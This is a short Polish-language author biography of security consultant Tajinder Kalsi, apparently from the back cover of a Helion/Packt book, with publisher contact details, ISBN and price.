**Tajinder Kalsi** — od ponad dziewięciu lat pracuje w branży IT. Specjalizuje się w testowaniu aplikacji internetowych, szacowaniu podatności na zagrożenia oraz testach penetracyjnych i ocenie ryzyka. Jest konsultantem do spraw bezpieczeństwa informacji. Chętnie dzieli się wiedzą, prowadzi seminaria na ponad 120 uczelniach. Oprócz prowadzenia szkoleń pracował nad projektami VAPT dla różnych klientów. Zdobył certyfikat ISO 27001 LA oraz uprawnienia IBM Certified Analyst.

<b>Helion</b> 	<i>Sprawdź nasze szkolenia!</i> SZKOLENIA  AKADEMIA IT & BUSINESS WWW.SZKOLENIA.HELION.PL	<b>KOD KORZYŚCI</b> Sięgnij po więcej! ▶  ISBN 978-83-283-5501-9  9 788328 355019
 <a href="http://helion.pl">helion.pl</a>		
 <b>0 801 339900</b>		
 <b>0 601 339900</b>		
<b>INFORMATYKA W NAJLEPSZYM WYDANIU</b>		<b>Cena: 77,00 zł</b>

**Packt**